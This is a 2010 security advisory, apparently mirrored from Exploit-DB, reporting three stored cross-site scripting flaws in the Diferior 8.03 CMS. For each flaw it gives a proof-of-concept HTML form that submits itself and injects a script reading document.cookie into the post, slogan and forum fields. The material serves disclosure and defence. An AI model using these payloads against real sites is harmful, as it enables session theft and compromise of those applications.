Diferior 8.03 – Multiple Cross-Site Scripting Vulnerabilities

  • 作者: High-Tech Bridge SA
    日期: 2010-11-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15633/
  • Vulnerability ID: HTB22721
    Reference: http://www.htbridge.ch/advisory/stored_xss_cross_site_scripting_vulnerability_in_diferior.html
    Product: Diferior
    Vendor: Povilas Musteikis ( http://www.diferior.com/ ) 
    Vulnerable Version: 8.03 and probably prior versions
    Vendor Notification: 
    Vulnerability Type: Stored XSS (Cross Site Scripting)
    Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
    Risk level: Medium 
    Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 
    
    Vulnerability Details:
    User can execute arbitrary JavaScript code within the vulnerable application.
    
    The vulnerability exists due to failure in the "views/post.php" script to properly sanitize user-supplied input in "post_content" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
    
    An attacker can use browser to exploit this vulnerability. The following PoC is available:
    
    <form action="http://host/post/edit/2/p1.html" method="post" enctype="multipart/form-data" name="main">
    <input type="hidden" name="category" value="sample-category-1">
    <input type="hidden" name="header" value="Sample post">
    <input type="hidden" name="subheader" value="Sample subheader">
    <input type="hidden" name="post_content" value='html<script>alert(document.cookie)</script>'>
    <input type="hidden" name="schedule" value="now">
    <input type="hidden" name="scheduler" value="10/11/23">
    <input type="hidden" name="Date_Year" value="2010">
    <input type="hidden" name="Date_Month" value="11">
    <input type="hidden" name="Date_Day" value="22">
    <input type="hidden" name="Time_Hour" value="20">
    <input type="hidden" name="Time_Minute" value="47">
    <input type="hidden" name="Time_Second" value="23">
    <input type="hidden" name="usehtml" value="html">
    </form>
    <script>
    document.main.submit();
    </script>
    
    
    Vulnerability Details:
    User can execute arbitrary JavaScript code within the vulnerable application.
    
    The vulnerability exists due to failure in the "views/admin.php" script to properly sanitize user-supplied input in "slogan" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
    
    An attacker can use browser to exploit this vulnerability. The following PoC is available:
    
    <form action="http://host/admin/site/2.html" method="post" name="main">
    <input type="hidden" name="title" value="Site Title">
    <input type="hidden" name="slogan" value='Powered by Diferior"><script>alert(document.cookie)</script>'>
    <input type="hidden" name="timezone" value="GMT">
    <input type="hidden" name="cron" value="php">
    </form>
    <script>
    document.main.submit();
    </script>
    
    
    Vulnerability Details:
    User can execute arbitrary JavaScript code within the vulnerable application.
    
    The vulnerability exists due to failure in the "views/admin.php" script to properly sanitize user-supplied input in "subcatname" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
    
    An attacker can use browser to exploit this vulnerability. The following PoC is available:
    
    <form action="http://host/admin/forum/create_sub.html" method="post" name="main">
    <input type="hidden" name="cat" value="1">
    <input type="hidden" name="subcatname" value='subname"><script>alert(document.cookie)</script>'>
    <input type="hidden" name="description" value='description"><script>alert(document.cookie)</script>'>
    </form>
    <script>
    document.main.submit();
    </script>